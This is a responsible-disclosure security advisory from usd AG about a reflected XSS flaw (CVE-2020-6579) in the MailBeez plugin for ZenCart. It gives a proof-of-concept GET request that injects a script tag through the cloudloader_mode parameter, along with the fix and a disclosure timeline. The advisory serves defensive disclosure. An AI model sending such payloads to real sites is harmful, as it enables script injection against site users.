usd-2019-0070 | MailBeez Plugin for ZenCart / v3.9.21

Advisory ID: usd-2019-0070
CVE Number: CVE-2020-6579
Affected Product: MailBeez Plugin for ZenCart
Affected Version: v3.9.21
Vulnerability Type: XSS
Security Risk: Medium
Vendor URL: https://www.mailbeez.com/
Vendor Status: Fixed

Description

A reflected XSS attack (or non-persistent attack) occurs when a malicious script is reflected off of a web application to the victim’s browser. The attack is typically delivered via email or a web site and activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The cloudloader_mode can be used for reflected XSS attacks. Two files are vulnerable for this attack. Vulnerable Code can be found at /mailhive/cloudbeez/cloudloader.php and /mailhive/cloudbeez/cloudloader_core.php.

Proof of Concept (PoC)

Send the following request:

GET /mailhive/cloudbeez/cloudloader_core.php?cloudloader_mode=foooo%27;%3Cscript%3Ealert(%27XSS%27)%3C/script%3E HTTP/1.1
Host: cvehunt.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: zenid=rjlns1c0rvet35tc7qouf5g1jd; OCSESSID=7b8cbd4291f31225b537e2c2d9; language=en-gb; currency=USD
Connection: close
Upgrade-Insecure-Requests: 1

Response:

Fix

Make sure to encode the user supplied input.

Timeline

  • 2019-12-31 Gerbert Roitburd and Markus Schneider discover vulnerability in a Penetration Test
  • 2020-02-13 First contact with vendor
  • 2020-02-24 Vendor releases version v3.9.22 of the plugin that fixes the issue
  • 2020-04-29 Security advisory released

Credits

This security vulnerability was discovered by Gerbert Roitburd and Markus Schneider of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: “more security.”

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.